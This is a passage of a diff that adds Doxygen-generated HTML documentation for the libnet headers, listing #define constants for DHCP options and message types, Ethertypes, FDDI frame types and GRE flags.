+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_RESSERV</b>&nbsp;&nbsp;&nbsp;0x0b</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a154" doxytag="libnet-headers.h::LIBNET_DHCP_HOSTNAME" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_HOSTNAME</b>&nbsp;&nbsp;&nbsp;0x0c</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a155" doxytag="libnet-headers.h::LIBNET_DHCP_BOOTFILESIZE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_BOOTFILESIZE</b>&nbsp;&nbsp;&nbsp;0x0d</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a156" doxytag="libnet-headers.h::LIBNET_DHCP_DUMPFILE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_DUMPFILE</b>&nbsp;&nbsp;&nbsp;0x0e</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a157" doxytag="libnet-headers.h::LIBNET_DHCP_DOMAINNAME" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_DOMAINNAME</b>&nbsp;&nbsp;&nbsp;0x0f</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a158" doxytag="libnet-headers.h::LIBNET_DHCP_SWAPSERV" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_SWAPSERV</b>&nbsp;&nbsp;&nbsp;0x10</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a159" doxytag="libnet-headers.h::LIBNET_DHCP_ROOTPATH" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_ROOTPATH</b>&nbsp;&nbsp;&nbsp;0x11</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a160" doxytag="libnet-headers.h::LIBNET_DHCP_EXTENPATH" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_EXTENPATH</b>&nbsp;&nbsp;&nbsp;0x12</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a161" doxytag="libnet-headers.h::LIBNET_DHCP_IPFORWARD" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_IPFORWARD</b>&nbsp;&nbsp;&nbsp;0x13</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a162" doxytag="libnet-headers.h::LIBNET_DHCP_SRCROUTE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_SRCROUTE</b>&nbsp;&nbsp;&nbsp;0x14</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a163" doxytag="libnet-headers.h::LIBNET_DHCP_POLICYFILTER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_POLICYFILTER</b>&nbsp;&nbsp;&nbsp;0x15</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a164" doxytag="libnet-headers.h::LIBNET_DHCP_MAXASMSIZE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MAXASMSIZE</b>&nbsp;&nbsp;&nbsp;0x16</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a165" doxytag="libnet-headers.h::LIBNET_DHCP_IPTTL" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_IPTTL</b>&nbsp;&nbsp;&nbsp;0x17</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a166" doxytag="libnet-headers.h::LIBNET_DHCP_MTUTIMEOUT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MTUTIMEOUT</b>&nbsp;&nbsp;&nbsp;0x18</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a167" doxytag="libnet-headers.h::LIBNET_DHCP_MTUTABLE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MTUTABLE</b>&nbsp;&nbsp;&nbsp;0x19</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a168" doxytag="libnet-headers.h::LIBNET_DHCP_MTUSIZE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MTUSIZE</b>&nbsp;&nbsp;&nbsp;0x1a</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a169" doxytag="libnet-headers.h::LIBNET_DHCP_LOCALSUBNETS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_LOCALSUBNETS</b>&nbsp;&nbsp;&nbsp;0x1b</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a170" doxytag="libnet-headers.h::LIBNET_DHCP_BROADCASTADDR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_BROADCASTADDR</b>&nbsp;&nbsp;&nbsp;0x1c</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a171" doxytag="libnet-headers.h::LIBNET_DHCP_DOMASKDISCOV" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_DOMASKDISCOV</b>&nbsp;&nbsp;&nbsp;0x1d</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a172" doxytag="libnet-headers.h::LIBNET_DHCP_MASKSUPPLY" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MASKSUPPLY</b>&nbsp;&nbsp;&nbsp;0x1e</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a173" doxytag="libnet-headers.h::LIBNET_DHCP_DOROUTEDISC" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_DOROUTEDISC</b>&nbsp;&nbsp;&nbsp;0x1f</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a174" doxytag="libnet-headers.h::LIBNET_DHCP_ROUTERSOLICIT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_ROUTERSOLICIT</b>&nbsp;&nbsp;&nbsp;0x20</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a175" doxytag="libnet-headers.h::LIBNET_DHCP_STATICROUTE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_STATICROUTE</b>&nbsp;&nbsp;&nbsp;0x21</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a176" doxytag="libnet-headers.h::LIBNET_DHCP_TRAILERENCAP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_TRAILERENCAP</b>&nbsp;&nbsp;&nbsp;0x22</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a177" doxytag="libnet-headers.h::LIBNET_DHCP_ARPTIMEOUT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_ARPTIMEOUT</b>&nbsp;&nbsp;&nbsp;0x23</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a178" doxytag="libnet-headers.h::LIBNET_DHCP_ETHERENCAP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_ETHERENCAP</b>&nbsp;&nbsp;&nbsp;0x24</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a179" doxytag="libnet-headers.h::LIBNET_DHCP_TCPTTL" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_TCPTTL</b>&nbsp;&nbsp;&nbsp;0x25</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a180" doxytag="libnet-headers.h::LIBNET_DHCP_TCPKEEPALIVE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_TCPKEEPALIVE</b>&nbsp;&nbsp;&nbsp;0x26</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a181" doxytag="libnet-headers.h::LIBNET_DHCP_TCPALIVEGARBAGE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_TCPALIVEGARBAGE</b>&nbsp;&nbsp;&nbsp;0x27</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a182" doxytag="libnet-headers.h::LIBNET_DHCP_NISDOMAIN" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_NISDOMAIN</b>&nbsp;&nbsp;&nbsp;0x28</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a183" doxytag="libnet-headers.h::LIBNET_DHCP_NISSERVERS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_NISSERVERS</b>&nbsp;&nbsp;&nbsp;0x29</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a184" doxytag="libnet-headers.h::LIBNET_DHCP_NISTIMESERV" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_NISTIMESERV</b>&nbsp;&nbsp;&nbsp;0x2a</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a185" doxytag="libnet-headers.h::LIBNET_DHCP_VENDSPECIFIC" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_VENDSPECIFIC</b>&nbsp;&nbsp;&nbsp;0x2b</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a186" doxytag="libnet-headers.h::LIBNET_DHCP_NBNS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_NBNS</b>&nbsp;&nbsp;&nbsp;0x2c</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a187" doxytag="libnet-headers.h::LIBNET_DHCP_NBDD" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_NBDD</b>&nbsp;&nbsp;&nbsp;0x2d</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a188" doxytag="libnet-headers.h::LIBNET_DHCP_NBTCPIP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_NBTCPIP</b>&nbsp;&nbsp;&nbsp;0x2e</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a189" doxytag="libnet-headers.h::LIBNET_DHCP_NBTCPSCOPE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_NBTCPSCOPE</b>&nbsp;&nbsp;&nbsp;0x2f</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a190" doxytag="libnet-headers.h::LIBNET_DHCP_XFONT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_XFONT</b>&nbsp;&nbsp;&nbsp;0x30</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a191" doxytag="libnet-headers.h::LIBNET_DHCP_XDISPLAYMGR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_XDISPLAYMGR</b>&nbsp;&nbsp;&nbsp;0x31</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a192" doxytag="libnet-headers.h::LIBNET_DHCP_DISCOVERADDR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_DISCOVERADDR</b>&nbsp;&nbsp;&nbsp;0x32</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a193" doxytag="libnet-headers.h::LIBNET_DHCP_LEASETIME" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_LEASETIME</b>&nbsp;&nbsp;&nbsp;0x33</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a194" doxytag="libnet-headers.h::LIBNET_DHCP_OPTIONOVERLOAD" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_OPTIONOVERLOAD</b>&nbsp;&nbsp;&nbsp;0x34</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a195" doxytag="libnet-headers.h::LIBNET_DHCP_MESSAGETYPE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MESSAGETYPE</b>&nbsp;&nbsp;&nbsp;0x35</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a196" doxytag="libnet-headers.h::LIBNET_DHCP_SERVIDENT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_SERVIDENT</b>&nbsp;&nbsp;&nbsp;0x36</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a197" doxytag="libnet-headers.h::LIBNET_DHCP_PARAMREQUEST" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_PARAMREQUEST</b>&nbsp;&nbsp;&nbsp;0x37</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a198" doxytag="libnet-headers.h::LIBNET_DHCP_MESSAGE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MESSAGE</b>&nbsp;&nbsp;&nbsp;0x38</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a199" doxytag="libnet-headers.h::LIBNET_DHCP_MAXMSGSIZE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MAXMSGSIZE</b>&nbsp;&nbsp;&nbsp;0x39</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a200" doxytag="libnet-headers.h::LIBNET_DHCP_RENEWTIME" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_RENEWTIME</b>&nbsp;&nbsp;&nbsp;0x3a</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a201" doxytag="libnet-headers.h::LIBNET_DHCP_REBINDTIME" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_REBINDTIME</b>&nbsp;&nbsp;&nbsp;0x3b</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a202" doxytag="libnet-headers.h::LIBNET_DHCP_CLASSSID" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_CLASSSID</b>&nbsp;&nbsp;&nbsp;0x3c</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a203" doxytag="libnet-headers.h::LIBNET_DHCP_CLIENTID" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_CLIENTID</b>&nbsp;&nbsp;&nbsp;0x3d</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a204" doxytag="libnet-headers.h::LIBNET_DHCP_NISPLUSDOMAIN" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_NISPLUSDOMAIN</b>&nbsp;&nbsp;&nbsp;0x40</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a205" doxytag="libnet-headers.h::LIBNET_DHCP_NISPLUSSERVERS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_NISPLUSSERVERS</b>&nbsp;&nbsp;&nbsp;0x41</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a206" doxytag="libnet-headers.h::LIBNET_DHCP_MOBILEIPAGENT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MOBILEIPAGENT</b>&nbsp;&nbsp;&nbsp;0x44</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a207" doxytag="libnet-headers.h::LIBNET_DHCP_SMTPSERVER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_SMTPSERVER</b>&nbsp;&nbsp;&nbsp;0x45</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a208" doxytag="libnet-headers.h::LIBNET_DHCP_POP3SERVER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_POP3SERVER</b>&nbsp;&nbsp;&nbsp;0x46</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a209" doxytag="libnet-headers.h::LIBNET_DHCP_NNTPSERVER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_NNTPSERVER</b>&nbsp;&nbsp;&nbsp;0x47</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a210" doxytag="libnet-headers.h::LIBNET_DHCP_WWWSERVER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_WWWSERVER</b>&nbsp;&nbsp;&nbsp;0x48</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a211" doxytag="libnet-headers.h::LIBNET_DHCP_FINGERSERVER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_FINGERSERVER</b>&nbsp;&nbsp;&nbsp;0x49</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a212" doxytag="libnet-headers.h::LIBNET_DHCP_IRCSERVER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_IRCSERVER</b>&nbsp;&nbsp;&nbsp;0x4a</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a213" doxytag="libnet-headers.h::LIBNET_DHCP_STSERVER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_STSERVER</b>&nbsp;&nbsp;&nbsp;0x4b</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a214" doxytag="libnet-headers.h::LIBNET_DHCP_STDASERVER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_STDASERVER</b>&nbsp;&nbsp;&nbsp;0x4c</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a215" doxytag="libnet-headers.h::LIBNET_DHCP_END" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_END</b>&nbsp;&nbsp;&nbsp;0xff</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a216" doxytag="libnet-headers.h::LIBNET_DHCP_MSGDISCOVER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MSGDISCOVER</b>&nbsp;&nbsp;&nbsp;0x01</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a217" doxytag="libnet-headers.h::LIBNET_DHCP_MSGOFFER" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MSGOFFER</b>&nbsp;&nbsp;&nbsp;0x02</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a218" doxytag="libnet-headers.h::LIBNET_DHCP_MSGREQUEST" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MSGREQUEST</b>&nbsp;&nbsp;&nbsp;0x03</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a219" doxytag="libnet-headers.h::LIBNET_DHCP_MSGDECLINE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MSGDECLINE</b>&nbsp;&nbsp;&nbsp;0x04</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a220" doxytag="libnet-headers.h::LIBNET_DHCP_MSGACK" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MSGACK</b>&nbsp;&nbsp;&nbsp;0x05</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a221" doxytag="libnet-headers.h::LIBNET_DHCP_MSGNACK" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MSGNACK</b>&nbsp;&nbsp;&nbsp;0x06</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a222" doxytag="libnet-headers.h::LIBNET_DHCP_MSGRELEASE" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MSGRELEASE</b>&nbsp;&nbsp;&nbsp;0x07</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a223" doxytag="libnet-headers.h::LIBNET_DHCP_MSGINFORM" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DHCP_MSGINFORM</b>&nbsp;&nbsp;&nbsp;0x08</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a224" doxytag="libnet-headers.h::LIBNET_DNS_H" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_DNS_H</b>&nbsp;&nbsp;&nbsp;LIBNET_UDP_DNSV4_H</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a225" doxytag="libnet-headers.h::ETHERTYPE_PUP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ETHERTYPE_PUP</b>&nbsp;&nbsp;&nbsp;0x0200</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a226" doxytag="libnet-headers.h::ETHERTYPE_IP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ETHERTYPE_IP</b>&nbsp;&nbsp;&nbsp;0x0800</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a227" doxytag="libnet-headers.h::ETHERTYPE_ARP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ETHERTYPE_ARP</b>&nbsp;&nbsp;&nbsp;0x0806</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a228" doxytag="libnet-headers.h::ETHERTYPE_REVARP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ETHERTYPE_REVARP</b>&nbsp;&nbsp;&nbsp;0x8035</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a229" doxytag="libnet-headers.h::ETHERTYPE_VLAN" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ETHERTYPE_VLAN</b>&nbsp;&nbsp;&nbsp;0x8100</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a230" doxytag="libnet-headers.h::ETHERTYPE_EAP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ETHERTYPE_EAP</b>&nbsp;&nbsp;&nbsp;0x888e</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a231" doxytag="libnet-headers.h::ETHERTYPE_MPLS" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ETHERTYPE_MPLS</b>&nbsp;&nbsp;&nbsp;0x8847</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a232" doxytag="libnet-headers.h::ETHERTYPE_LOOPBACK" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>ETHERTYPE_LOOPBACK</b>&nbsp;&nbsp;&nbsp;0x9000</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a233" doxytag="libnet-headers.h::LIBNET_FDDI_LLC_FRAME" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_FDDI_LLC_FRAME</b>&nbsp;&nbsp;&nbsp;0x10</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a234" doxytag="libnet-headers.h::LIBNET_FDDI_48BIT_ADDR" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_FDDI_48BIT_ADDR</b>&nbsp;&nbsp;&nbsp;0x40</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a235" doxytag="libnet-headers.h::LIBNET_FDDI_FC_REQD" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>LIBNET_FDDI_FC_REQD</b>&nbsp;&nbsp;&nbsp;LIBNET_FDDI_LLC_FRAME | LIBNET_FDDI_48BIT_ADDR</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a236" doxytag="libnet-headers.h::FDDI_TYPE_IP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>FDDI_TYPE_IP</b>&nbsp;&nbsp;&nbsp;0x0800</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a237" doxytag="libnet-headers.h::FDDI_TYPE_ARP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>FDDI_TYPE_ARP</b>&nbsp;&nbsp;&nbsp;0x0806</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a238" doxytag="libnet-headers.h::FDDI_TYPE_REVARP" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>FDDI_TYPE_REVARP</b>&nbsp;&nbsp;&nbsp;0x8035</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a239" doxytag="libnet-headers.h::GRE_CSUM" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>GRE_CSUM</b>&nbsp;&nbsp;&nbsp;0x8000</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a240" doxytag="libnet-headers.h::GRE_ROUTING" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>GRE_ROUTING</b>&nbsp;&nbsp;&nbsp;0x4000</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a241" doxytag="libnet-headers.h::GRE_KEY" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>GRE_KEY</b>&nbsp;&nbsp;&nbsp;0x2000</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a242" doxytag="libnet-headers.h::GRE_SEQ" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>GRE_SEQ</b>&nbsp;&nbsp;&nbsp;0x1000</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a243" doxytag="libnet-headers.h::GRE_STRICT" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>GRE_STRICT</b>&nbsp;&nbsp;&nbsp;0x0800</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a244" doxytag="libnet-headers.h::GRE_REC" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>GRE_REC</b>&nbsp;&nbsp;&nbsp;0x0700</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a245" doxytag="libnet-headers.h::GRE_ACK" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>GRE_ACK</b>&nbsp;&nbsp;&nbsp;0x0080</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a246" doxytag="libnet-headers.h::GRE_FLAGS_MASK" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>GRE_FLAGS_MASK</b>&nbsp;&nbsp;&nbsp;0x00F8</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a247" doxytag="libnet-headers.h::GRE_VERSION_MASK" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>GRE_VERSION_MASK</b>&nbsp;&nbsp;&nbsp;0x0007</td></tr>
+
+<tr><td class="memItemLeft" nowrap align=right valign=top><a class="anchor" name="a248" doxytag="libnet-headers.h::GRE_VERSION_0" ></a>
+#define&nbsp;</td><td class="memItemRight" valign=bottom><b>GRE_VERSION_0</b>&nbsp;&nbsp;&nbsp;0x0000</td></tr>
+
